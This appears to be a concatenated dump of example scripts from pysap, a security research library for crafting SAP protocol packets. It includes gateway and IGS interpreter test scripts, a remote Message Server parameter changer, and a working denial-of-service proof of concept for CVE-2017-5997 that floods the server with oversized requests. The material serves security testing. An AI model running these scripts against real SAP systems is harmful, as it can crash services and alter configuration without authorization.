Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # Author: 16 | # Martin Gallo (@martingalloar) 17 | # Code contributed by SecureAuth to the OWASP CBAS project 18 | # 19 | 20 | # Standard imports 21 | import logging 22 | from argparse import ArgumentParser 23 | from socket import error as SocketError 24 | # External imports 25 | from scapy.config import conf 26 | # Custom imports 27 | import pysap 28 | from pysap.SAPRFC import SAPRFC 29 | from pysap.utils.console import BaseConsole 30 | from pysap.SAPRouter import SAPRoutedStreamSocket 31 | 32 | 33 | # Set the verbosity to 0 34 | conf.verb = 0 35 | 36 | 37 | class SAPGWMonitorConsole(BaseConsole): 38 | 39 | intro = "SAP Gateway/RFC Monitor Console" 40 | connection = None 41 | connected = False 42 | clients = [] 43 | 44 | def __init__(self, options): 45 | super(SAPGWMonitorConsole, self).__init__(options) 46 | self.runtimeoptions["client"] = self.options.client 47 | self.runtimeoptions["version"] = self.options.version 48 | 49 | # Initialization 50 | def preloop(self): 51 | super(SAPGWMonitorConsole, self).preloop() 52 | self.do_connect(None) 53 | self.do_client_list(None) 54 | 55 | # SAP Gateway/RFC Monitor commands 56 | 57 | def do_connect(self, args): 58 | """ Initiate the connection to the Gateway service. The connection is 59 | registered using the client_string runtime option. """ 60 | 61 | # Create the socket connection 62 | try: 63 | self.connection = SAPRoutedStreamSocket.get_nisocket(self.options.remote_host, 64 | self.options.remote_port, 65 | self.options.route_string, 66 | base_cls=SAPRFC) 67 | except SocketError as e: 68 | self._error("Error connecting with the Gateway service") 69 | self._error(str(e)) 70 | return 71 | 72 | self._print("Attached to %s / %d" % (self.options.remote_host, self.options.remote_port)) 73 | 74 | p = SAPRFC(version=int(self.runtimeoptions["version"]), req_type=1) 75 | 76 | self._debug("Sending check gateway packet") 77 | try: 78 | response = self.connection.send(p) 79 | except SocketError: 80 | self._error("Error connecting to the gateway monitor service") 81 | else: 82 | self.connected = True 83 | 84 | def do_disconnect(self, args): 85 | """ Disconnects from the Gateway service. """ 86 | 87 | if not self.connected: 88 | self._error("You need to connect to the server first !") 89 | return 90 | 91 | self.connection.close() 92 | self._print("Dettached from %s / %d ..." % (self.options.remote_host, self.options.remote_port)) 93 | self.connected = False 94 | 95 | def do_exit(self, args): 96 | if self.connected: 97 | self.do_disconnect(None) 98 | return super(SAPGWMonitorConsole, self).do_exit(args) 99 | 100 | def do_noop(self, args): 101 | """ Send a noop command to the Gateway service. """ 102 | 103 | if not self.connected: 104 | self._error("You need to connect to the server first !") 105 | return 106 | 107 | p = SAPRFC(version=int(self.runtimeoptions["version"]), req_type=9, 108 | cmd=1) 109 | self._debug("Sending noop packet") 110 | response = self.connection.send(p) 111 | 112 | def do_client_list(self, args): 113 | """ Retrieve the list of clients connected to the Gateway service. 114 | Use the client # value when required to provide a client IDs as 115 | parameter. """ 116 | 117 | if not self.connected: 118 | self._error("You need to connect to the server first !") 119 | return 120 | 121 | 122 | # Command line options parser 123 | def parse_options(): 124 | 125 | description = "This script is an example implementation of SAP's Gateway Monitor program (gwmon). It allows the " \ 126 | "monitoring of a Gateway service and allows sending different commands and opcodes." 127 | 128 | usage = "%(prog)s [options] -d " 129 | 130 | parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) 131 | 132 | target = parser.add_argument_group("Target") 133 | target.add_argument("-d", "--remote-host", dest="remote_host", 134 | help="Remote host") 135 | target.add_argument("-p", "--remote-port", dest="remote_port", type=int, default=3300, 136 | help="Remote port [%(default)d]") 137 | target.add_argument("--route-string", dest="route_string", 138 | help="Route string for connecting through a SAP Router") 139 | target.add_argument("--version", dest="version", type=int, default=3, 140 | help="Version of the protocol to use [%(default)d]") 141 | 142 | misc = parser.add_argument_group("Misc options") 143 | misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output") 144 | misc.add_argument("-c", "--client", dest="client", default="pysap's-monitor", 145 | help="Client name [%(default)s]") 146 | misc.add_argument("--log-file", dest="logfile", metavar="FILE", 147 | help="Log file") 148 | misc.add_argument("--console-log", dest="consolelog", metavar="FILE", 149 | help="Console log file") 150 | misc.add_argument("--script", dest="script", metavar="FILE", 151 | help="Script file to run") 152 | 153 | options = parser.parse_args() 154 | 155 | if not (options.remote_host or options.route_string): 156 | parser.error("Remote host or route string is required") 157 | 158 | return options 159 | 160 | 161 | # Main function 162 | def main(): 163 | options = parse_options() 164 | 165 | if options.verbose: 166 | logging.basicConfig(level=logging.DEBUG) 167 | 168 | rfc_console = SAPGWMonitorConsole(options) 169 | 170 | try: 171 | if options.script: 172 | rfc_console.do_script(options.script) 173 | else: 174 | rfc_console.cmdloop() 175 | except KeyboardInterrupt: 176 | print("Cancelled by the user !") 177 | rfc_console.do_exit(None) 178 | 179 | 180 | if __name__ == "__main__": 181 | main() 182 | -------------------------------------------------------------------------------- /examples/igs_http_imgconv.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # Author: 16 | # Example script by Yvan Genuer (@iggy38). 17 | # Martin Gallo (@martingalloar) 18 | # Code contributed by SecureAuth to the OWASP CBAS project 19 | # 20 | 21 | # Standard imports 22 | import logging 23 | from argparse import ArgumentParser 24 | # External imports 25 | from scapy.config import conf 26 | # Custom imports 27 | import pysap 28 | from pysap.SAPIGS import SAPIGS 29 | from pysap.SAPRouter import SAPRoutedStreamSocket, ROUTER_TALK_MODE_NI_RAW_IO 30 | 31 | # Set the verbosity to 0 32 | conf.verb = 0 33 | 34 | 35 | # Command line options parser 36 | def parse_options(): 37 | 38 | description = "This example script convert provided jpg file to png 100x100 file " \ 39 | "using IGS interpreter IMGCONV through HTTP listener." 40 | 41 | usage = "%(prog)s [options] -d -i " 42 | 43 | parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) 44 | 45 | target = parser.add_argument_group("Target") 46 | target.add_argument("-d", "--remote-host", dest="remote_host", 47 | help="Remote host") 48 | target.add_argument("-p", "--remote-port", dest="remote_port", type=int, default=40080, 49 | help="Remote port [%(default)d]") 50 | target.add_argument("--route-string", dest="route_string", 51 | help="Route string for connecting through a SAP Router") 52 | 53 | misc = parser.add_argument_group("Misc options") 54 | misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output") 55 | misc.add_argument("-i", "--image", dest="input_image", metavar="FILE", default="poc.jpg", 56 | help="Image to convert [%(default)s]") 57 | 58 | options = parser.parse_args() 59 | 60 | if not (options.remote_host or options.route_string): 61 | parser.error("Remote host or route string is required") 62 | 63 | return options 64 | 65 | 66 | # Main function 67 | def main(): 68 | options = parse_options() 69 | 70 | if options.verbose: 71 | logging.basicConfig(level=logging.DEBUG) 72 | 73 | # Open image to convert 74 | try: 75 | with open(options.input_image, "rb") as f: 76 | image = f.read() 77 | except IOError: 78 | print("Error reading image file !") 79 | exit(0) 80 | 81 | print("[*] Testing IGS IMGCONV on http://%s:%d" % (options.remote_host, 82 | options.remote_port)) 83 | 84 | # Initiate the connection 85 | conn = SAPRoutedStreamSocket.get_nisocket(options.remote_host, 86 | options.remote_port, 87 | options.route_string, 88 | talk_mode=ROUTER_TALK_MODE_NI_RAW_IO) 89 | 90 | # XML file request 91 | # JPEG to PNG size 100x100 92 | xml = ''' 93 | 94 | 100 95 | 100 96 | image/jpeg 97 | image/png 98 | 99 | ''' 100 | 101 | # build http packet 102 | files = {"xml": ("xml", xml), "img": ("img", image)} 103 | p = SAPIGS.http(options.remote_host, options.remote_port, 'IMGCONV', files) 104 | 105 | # Send request 106 | print("[*] Send packet to IGS...") 107 | conn.send(p) 108 | print("[*] Response :") 109 | response = conn.recv() 110 | response.show() 111 | 112 | # Extract picture url from response 113 | print("[*] Generated file(s) :") 114 | for url in str(response).split('href='): 115 | if "output" in url: 116 | print("http://%s:%d%s" % (options.remote_host, 117 | options.remote_port, 118 | url.split('"')[1])) 119 | 120 | 121 | if __name__ == "__main__": 122 | main() 123 | -------------------------------------------------------------------------------- /examples/igs_http_xmlchart.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # Author: 16 | # Example script by Yvan Genuer (@iggy38). 17 | # Martin Gallo (@martingalloar) 18 | # Code contributed by SecureAuth to the OWASP CBAS project 19 | # 20 | 21 | # Standard imports 22 | import logging 23 | from argparse import ArgumentParser 24 | # External imports 25 | from scapy.config import conf 26 | # Custom imports 27 | import pysap 28 | from pysap.SAPIGS import SAPIGS 29 | from pysap.SAPRouter import SAPRoutedStreamSocket, ROUTER_TALK_MODE_NI_RAW_IO 30 | 31 | 32 | # Set the verbosity to 0 33 | conf.verb = 0 34 | 35 | 36 | # Command line options parser 37 | def parse_options(): 38 | 39 | description = "This example script generate simple chart "\ 40 | "using IGS interpreter through HTTP listener." 41 | 42 | usage = "%(prog)s [options] -d " 43 | 44 | parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) 45 | 46 | target = parser.add_argument_group("Target") 47 | target.add_argument("-d", "--remote-host", dest="remote_host", 48 | help="Remote host") 49 | target.add_argument("-p", "--remote-port", dest="remote_port", type=int, default=40080, 50 | help="Remote port [%(default)d]") 51 | target.add_argument("--route-string", dest="route_string", 52 | help="Route string for connecting through a SAP Router") 53 | 54 | misc = parser.add_argument_group("Misc options") 55 | misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output") 56 | 57 | options = parser.parse_args() 58 | 59 | if not (options.remote_host or options.route_string): 60 | parser.error("Remote host or route string is required") 61 | 62 | return options 63 | 64 | 65 | # Main function 66 | def main(): 67 | options = parse_options() 68 | 69 | if options.verbose: 70 | logging.basicConfig(level=logging.DEBUG) 71 | 72 | print("[*] Testing XXE over IGS XMLCHART on http://%s:%d" % (options.remote_host, 73 | options.remote_port)) 74 | 75 | # Initiate the connection 76 | conn = SAPRoutedStreamSocket.get_nisocket(options.remote_host, 77 | options.remote_port, 78 | options.route_string, 79 | talk_mode=ROUTER_TALK_MODE_NI_RAW_IO) 80 | 81 | # XML Data content 82 | data = ''' 83 | 84 | 85 | Fus Ro Dah 86 | 87 | 88 | 42 89 | 90 | ''' 91 | 92 | # http POST request type multipart/form-data 93 | files = {'data': ('data', data)} 94 | p = SAPIGS.http(options.remote_host, options.remote_port, 'XMLCHART', files) 95 | 96 | # Send/Receive request 97 | print("[*] Send request to IGS...") 98 | conn.send(p) 99 | print("[*] Response :") 100 | response = conn.recv(1024) 101 | response.show() 102 | 103 | # Extract picture from response 104 | print("[*] Generated file(s) :") 105 | for url in str(response).split('href='): 106 | if "output" in url: 107 | print("http://%s:%d%s" % (options.remote_host, 108 | options.remote_port, 109 | url.split('"')[1])) 110 | 111 | 112 | if __name__ == "__main__": 113 | main() 114 | -------------------------------------------------------------------------------- /examples/igs_http_zipper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # Author: 16 | # Example script by Yvan Genuer (@iggy38). 17 | # Martin Gallo (@martingalloar) 18 | # Code contributed by SecureAuth to the OWASP CBAS project 19 | # 20 | 21 | # Standard imports 22 | import logging 23 | from argparse import ArgumentParser 24 | # External imports 25 | from scapy.config import conf 26 | # Custom imports 27 | import pysap 28 | from pysap.SAPIGS import SAPIGS 29 | from pysap.SAPRouter import SAPRoutedStreamSocket, ROUTER_TALK_MODE_NI_RAW_IO 30 | 31 | # Set the verbosity to 0 32 | conf.verb = 0 33 | 34 | 35 | # Command line options parser 36 | def parse_options(): 37 | 38 | description = "This example script send provided file to IGS ZIPPER interpreter " \ 39 | "using HTTP Listener" 40 | 41 | usage = "%(prog)s [options] -d " 42 | 43 | parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) 44 | 45 | target = parser.add_argument_group("Target") 46 | target.add_argument("-d", "--remote-host", dest="remote_host", 47 | help="Remote host") 48 | target.add_argument("-p", "--remote-port", dest="remote_port", type=int, default=40080, 49 | help="Remote port [%(default)d]") 50 | target.add_argument("--route-string", dest="route_string", 51 | help="Route string for connecting through a SAP Router") 52 | 53 | param = parser.add_argument_group("Parameters") 54 | param.add_argument("-i", dest="file_input", default='poc.txt', metavar="FILE", 55 | help="File to zip [%(default)s]") 56 | param.add_argument("-a", dest="file_path", default='', 57 | help="Path in zip file [%(default)s]") 58 | 59 | misc = parser.add_argument_group("Misc options") 60 | misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output") 61 | 62 | options = parser.parse_args() 63 | 64 | if not (options.remote_host or options.route_string): 65 | parser.error("Remote host or route string is required") 66 | 67 | return options 68 | 69 | 70 | # Main function 71 | def main(): 72 | options = parse_options() 73 | 74 | if options.verbose: 75 | logging.basicConfig(level=logging.DEBUG) 76 | 77 | print("[*] Testing IGS ZIPPER interpreter on %s:%d" % (options.remote_host, 78 | options.remote_port)) 79 | # open input file 80 | try: 81 | with open(options.file_input, 'rb') as f: 82 | file_input_content = f.read() 83 | except IOError: 84 | print("[!] Error reading %s file." % options.file_input) 85 | exit(2) 86 | 87 | # Initiate the connection 88 | conn = SAPRoutedStreamSocket.get_nisocket(options.remote_host, 89 | options.remote_port, 90 | options.route_string, 91 | talk_mode=ROUTER_TALK_MODE_NI_RAW_IO) 92 | 93 | # the xml request for zipper interpreter 94 | xml = '' 95 | xml += ':: 2 | auth/no_check_in_some_cases:EQUAL:Y 3 | auth/rfc_authority_check:SUP:1 4 | dbms/type:: 5 | DIR_AUDIT:FILE:. 6 | FN_AUDIT:FILE:. 7 | gw/acl_mode:EQUAL:1 8 | gw/logging:REGEX:(?=.*ACTION)(?=.*LOGFILE)(?=.*SWITCHTF) 9 | gw/monitor:EQUAL:1 10 | gw/proxy_check:: 11 | gw/prxy_info:FILE:$(DIR_DATA)$(DIR_SEP)$(FN_SEC_INFO) 12 | gw/reg_info:FILE:$(DIR_DATA)$(DIR_SEP)$(FN_REG_INFO) 13 | gw/reg_no_conn_info:EQUAL:255 14 | gw/sec_info:FILE:$(DIR_DATA)$(DIR_SEP)$(FN_SEC_INFO) 15 | gw/sim_mode:EQUAL:0 16 | icm/HTTP/logging_0:REGEX:(?=.*PREFIX)(?=.*LOGFILE)(?=.*MAXSIZEKB)(?=.*SWITCHT)(?=.* LOGFORMA) 17 | icm/HTTP/logging_1:REGEX:.*PREFIX.*LOGFILE.*MAXSIZEKB.*SWITCHT.* LOGFORMA.* 18 | icm/HTTP/logging_2:REGEX:.*PREFIX.*LOGFILE.*MAXSIZEKB.*SWITCHT.* LOGFORMA.* 19 | icm/HTTP/logging_3:REGEX:.*PREFIX.*LOGFILE.*MAXSIZEKB.*SWITCHT.* LOGFORMA.* 20 | icm/HTTP/logging_4:REGEX:.*PREFIX.*LOGFILE.*MAXSIZEKB.*SWITCHT.* LOGFORMA.* 21 | icm/server_port_0:: 22 | icm/server_port_1:: 23 | icm/server_port_2:: 24 | icm/server_port_3:: 25 | icm/server_port_4:: 26 | INSTANCE_NAME:: 27 | j2ee/dbname:: 28 | j2ee/dbtype:: 29 | login/fails_to_user_lock:INF:6 30 | login/min_password_lng:SUP:8 31 | login/no_automatic_user_sapstar:EQUAL:1 32 | login/password_compliance_to_current_policy:EQUAL:1 33 | login/password_downwards_compatibility:INF:2 34 | login/system_client:: 35 | ms/acl_file_admin:FILE:.* 36 | ms/acl_file_extbnd:FILE:.* 37 | ms/acl_file_ext:FILE:.* 38 | ms/acl_file_int:FILE:.* 39 | ms/acl_info:FILE:.* 40 | ms/admin_port:EQUAL:0 41 | ms/audit:SUP:1 42 | ms/http_logging:EQUAL:1 43 | ms/monitor:EQUAL:0 44 | rdisp/extbnd_port:: 45 | rdisp/msserv:EQUAL:0 46 | rdisp/msserv_internal:NOTEQUAL:0 47 | rec/client:EQUAL:ALL 48 | rsau/enable:EQUAL:1 49 | rsau/ip_only:REGEX:.* 50 | rsau/max_diskspace/local:REGEX:.* 51 | rsau/max_diskspace/per_day:REGEX:.* 52 | rsau/max_diskspace/per_file:REGEX:.* 53 | rsdb/ssfs_connect:EQUAL:1 54 | rslg/local/file:FILE:.* 55 | rslg/max_diskspace/local:REGEX:.* 56 | SAPDBHOST:: 57 | SAPFQDN:: 58 | SAPSYSTEM:: 59 | SAPSYSTEMNAME:: 60 | service/http/acl_file:FILE:.* 61 | service/https/acl_file:FILE:.* 62 | service/protectedwebmethods:REGEX:SDEFAULT|DEFAULT 63 | snc/enable:EQUAL:1 64 | system/secure_communication:EQUAL:ON 65 | system/type:: 66 | -------------------------------------------------------------------------------- /examples/ms_change_param.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # Author: 16 | # Martin Gallo (@martingalloar) 17 | # Code contributed by SecureAuth to the OWASP CBAS project 18 | # 19 | 20 | # Standard imports 21 | import logging 22 | from argparse import ArgumentParser 23 | # External imports 24 | from scapy.config import conf 25 | # Custom imports 26 | import pysap 27 | from pysap.SAPRouter import SAPRoutedStreamSocket 28 | from pysap.SAPMS import SAPMS, SAPMSAdmRecord, ms_domain_values_inv 29 | 30 | 31 | # Set the verbosity to 0 32 | conf.verb = 0 33 | 34 | 35 | # Command line options parser 36 | def parse_options(): 37 | 38 | description = "This example script changes a parameter using Message Server Administration requests. In order to " \ 39 | "be able to change a parameter the Message Server should be configured in monitoring mode " \ 40 | "(ms/monitor=1)[1] and the internal port should be reachable. Keep in mind that some of the " \ 41 | "parameters are not dynamic and can't be changed using this method. If the parameter value is not " \ 42 | "specified, the script retrieve the current value. " \ 43 | "[1] https://help.sap.com/saphelp_nw70/helpdata/en/4e/cffdb69d10424e97eb1d993b1e2cfd/content.htm" 44 | 45 | usage = "%(prog)s [options] -d -n [-l ]" 46 | 47 | parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) 48 | 49 | target = parser.add_argument_group("Target") 50 | target.add_argument("-d", "--remote-host", dest="remote_host", 51 | help="Remote host") 52 | target.add_argument("-p", "--remote-port", dest="remote_port", type=int, default=3900, 53 | help="Remote port [%(default)d]") 54 | target.add_argument("--route-string", dest="route_string", 55 | help="Route string for connecting through a SAP Router") 56 | target.add_argument("--domain", dest="domain", default="ABAP", 57 | help="Domain to connect to (ABAP, J2EE or JSTARTUP) [%(default)s]") 58 | 59 | param = parser.add_argument_group("Parameter") 60 | param.add_argument("-n", "--parameter-name", dest="param_name", 61 | help="Parameter name") 62 | param.add_argument("-l", "--parameter-value", dest="param_value", 63 | help="Parameter value") 64 | 65 | misc = parser.add_argument_group("Misc options") 66 | misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output") 67 | misc.add_argument("-c", "--client", dest="client", default="pysap's-paramchanger", 68 | help="Client name [%(default)s]") 69 | 70 | options = parser.parse_args() 71 | 72 | if not (options.remote_host or options.route_string): 73 | parser.error("Remote host or route string is required") 74 | if not options.param_name: 75 | parser.error("Parameter name is required") 76 | if options.domain not in ms_domain_values_inv.keys(): 77 | parser.error("Invalid domain specified") 78 | 79 | return options 80 | 81 | 82 | # Main function 83 | def main(): 84 | options = parse_options() 85 | 86 | if options.verbose: 87 | logging.basicConfig(level=logging.DEBUG) 88 | 89 | domain = ms_domain_values_inv[options.domain] 90 | 91 | # Initiate the connection 92 | conn = SAPRoutedStreamSocket.get_nisocket(options.remote_host, 93 | options.remote_port, 94 | options.route_string, 95 | base_cls=SAPMS) 96 | print("[*] Connected to the message server %s:%d" % (options.remote_host, options.remote_port)) 97 | 98 | client_string = options.client 99 | 100 | # Build MS_LOGIN_2 packet 101 | p = SAPMS(flag=0x00, iflag=0x08, domain=domain, toname=client_string, fromname=client_string) 102 | 103 | # Send MS_LOGIN_2 packet 104 | print("[*] Sending login packet") 105 | response = conn.sr(p)[SAPMS] 106 | 107 | print("[*] Login performed, server string: %s" % response.fromname) 108 | server_string = response.fromname 109 | 110 | print("[*] Retrieving current value of parameter: %s" % options.param_name) 111 | 112 | # Send ADM AD_PROFILE request 113 | adm = SAPMSAdmRecord(opcode=0x1, parameter=options.param_name) 114 | p = SAPMS(toname=server_string, fromname=client_string, version=4, 115 | flag=0x04, iflag=0x05, domain=domain, adm_records=[adm]) 116 | 117 | print("[*] Sending packet") 118 | response = conn.sr(p)[SAPMS] 119 | 120 | if options.verbose: 121 | print("[*] Response:") 122 | response.show() 123 | 124 | param_old_value = response.adm_records[0].parameter 125 | print("[*] Parameter %s" % param_old_value) 126 | 127 | # If a parameter change was requested, send an ADM AD_SHARED_PARAMETER request 128 | if options.param_value: 129 | print("[*] Changing parameter value from: %s to: %s" % (param_old_value, 130 | options.param_value)) 131 | 132 | # Build the packet 133 | adm = SAPMSAdmRecord(opcode=0x2e, 134 | parameter="%s=%s" % (options.param_name, 135 | options.param_value)) 136 | p = SAPMS(toname=server_string, fromname=client_string, version=4, 137 | iflag=5, flag=4, domain=domain, adm_records=[adm]) 138 | 139 | # Send the packet 140 | print("[*] Sending packet") 141 | response = conn.sr(p)[SAPMS] 142 | 143 | if options.verbose: 144 | print("[*] Response:") 145 | response.show() 146 | 147 | if response.adm_records[0].errorno != 0: 148 | print("[*] Error requesting parameter change (error number %d)" % response.adm_records[0].errorno) 149 | else: 150 | print("[*] Parameter changed for the current session !") 151 | 152 | 153 | if __name__ == "__main__": 154 | main() 155 | -------------------------------------------------------------------------------- /examples/ms_dos_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # Author: 16 | # Martin Gallo (@martingalloar) 17 | # Vulnerability found by Mathieu Geli 18 | # PoC by Vahagn Vardanyan 19 | # Code contributed by SecureAuth to the OWASP CBAS project 20 | # 21 | 22 | """ 23 | Vulnerable SAP Kernel versions 24 | 25 | SAP KERNEL 7.21 32-BIT UNICODE 26 | SAP KERNEL 7.21 32-BITSP716 27 | SAP KERNEL 7.21 64-BIT UNICODE 28 | SAP KERNEL 7.21 64-BITSP716 29 | SAP KERNEL 7.21 EXT 32-BIT 30 | SAP KERNEL 7.21 EXT 32-BIT UC 31 | SAP KERNEL 7.21 EXT 64-BIT 32 | SAP KERNEL 7.21 EXT 64-BIT UC 33 | SAP KERNEL 7.22 64-BIT 34 | SAP KERNEL 7.22 64-BIT UNICODE 35 | SAP KERNEL 7.22 EXT 64-BIT 36 | SAP KERNEL 7.22 EXT 64-BIT UC 37 | SAP KERNEL 7.42 64-BIT 38 | SAP KERNEL 7.42 64-BIT UNICODE 39 | SAP KERNEL 7.45 64-BIT 40 | SAP KERNEL 7.45 64-BIT UNICODE 41 | SAP KERNEL 7.49 64-BIT UNICODE 42 | 43 | TECHNICAL DESCRIPTION 44 | The message server doesn't free properly the resources allocation for handling the clients 45 | request in the case where the requests size is between 4k and 65k. In this special case, 46 | the server answers with an empty reply as opposed to the case where the request is greater 47 | than 65k, then the server will reset the connection. The following shows log of the msgserver 48 | process being killed because of too much memory allocated: 49 | 50 | [4721576.189056] Out of memory: Kill process 14223 (ms.sapJ45_SCS01) score 243 or sacrifice child 51 | [4721576.189058] Killed process 14223 (ms.sapJ45_SCS01) total-vm:3321508kB, anon-rss:2468184kB, file-rss:0kB 52 | 53 | example: 54 | python ms_dos_exploit.py -d SAP_SERVER -p 8101 --route-string ROUTE_STRING -v 55 | """ 56 | 57 | # Standard imports 58 | import logging 59 | from time import sleep 60 | from argparse import ArgumentParser 61 | from socket import error as SocketError 62 | # External imports 63 | import pysap 64 | # Custom imports 65 | from scapy.config import conf 66 | from pysap.SAPRouter import SAPRoutedStreamSocket, ROUTER_TALK_MODE_NI_RAW_IO 67 | 68 | # Set the verbosity to 0 69 | conf.verb = 0 70 | 71 | 72 | # Command line options parser 73 | def parse_options(): 74 | 75 | description = "This example script can be used to tests against CVE-2017-5997 Denial of Service vulnerability" \ 76 | "affecting the Message Server. For more details about the vulnerability see Advisory " \ 77 | "https://erpscan.com/advisories/erpscan-16-038-sap-message-server-http-remote-dos/ and SAP " \ 78 | "Security Note 2358972 (https://launchpad.support.sap.com/#/notes/2358972)" 79 | 80 | usage = "%(prog)s [options] -d " 81 | 82 | parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) 83 | 84 | target = parser.add_argument_group("Target") 85 | target.add_argument("-d", "--remote-host", dest="remote_host", 86 | help="Remote host") 87 | target.add_argument("-p", "--remote-port", dest="remote_port", type=int, default=8101, 88 | help="Remote port [%(default)d]") 89 | target.add_argument("--route-string", dest="route_string", 90 | help="Route string for connecting through a SAP Router") 91 | 92 | misc = parser.add_argument_group("Misc options") 93 | misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output") 94 | misc.add_argument("-l", "--loop", dest="loop", action="store_true", 95 | help="Loop until the user cancel (Ctrl+C)") 96 | misc.add_argument("-n", "--number", dest="number", type=int, default=10, 97 | help="Number of packets to send [%(default)d]") 98 | misc.add_argument("-t", "--time", dest="delay", type=float, default=5.0, 99 | help="Time to wait between each round [%(default)f]") 100 | misc.add_argument("--terminal", dest="terminal", default=None, 101 | help="Terminal name") 102 | 103 | options = parser.parse_args() 104 | 105 | if not (options.remote_host or options.route_string): 106 | parser.error("Remote host or route string is required") 107 | 108 | return options 109 | 110 | 111 | def send_crash(host, port, item, verbose, route=None): 112 | # Create the connection to the SAP Netweaver server 113 | if verbose: 114 | print("[*] Sending crash") 115 | # Initiate the connection 116 | conn = SAPRoutedStreamSocket.get_nisocket(host, port, route, talk_mode=ROUTER_TALK_MODE_NI_RAW_IO) 117 | conn.send(item) 118 | conn.close() 119 | 120 | 121 | # Main function 122 | def main(): 123 | options = parse_options() 124 | 125 | if options.verbose: 126 | logging.basicConfig(level=logging.DEBUG) 127 | 128 | print("[*] Testing Message Server CVE-2017-5997 DoS vulnerability on host %s:%d" % (options.remote_host, 129 | options.remote_port)) 130 | 131 | # Crafting the item 132 | item = "GET /msgserver/html/group?group=" + "A" * 65000 + " HTTP/1.0\r\n" 133 | 134 | try: 135 | if options.loop: 136 | try: 137 | while True: 138 | send_crash(options.remote_host, options.remote_port, item, options.verbose, options.route_string) 139 | sleep(options.delay) 140 | except KeyboardInterrupt: 141 | print("[*] Cancelled by the user") 142 | else: 143 | for i in range(options.number): 144 | send_crash(options.remote_host, options.remote_port, item, options.verbose, options.route_string) 145 | sleep(options.delay) 146 | 147 | except SocketError: 148 | print("[*] Connection error, take a look at the message server process !") 149 | 150 | 151 | if __name__ == "__main__": 152 | main() 153 | -------------------------------------------------------------------------------- /examples/ms_dump_info.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # Author: 16 | # Martin Gallo (@martingalloar) 17 | # Code contributed by SecureAuth to the OWASP CBAS project 18 | # 19 | 20 | # Standard imports 21 | import logging 22 | from argparse import ArgumentParser 23 | # External imports 24 | from scapy.config import conf 25 | # Custom imports 26 | import pysap 27 | from pysap.SAPRouter import SAPRoutedStreamSocket 28 | from pysap.SAPMS import SAPMS, 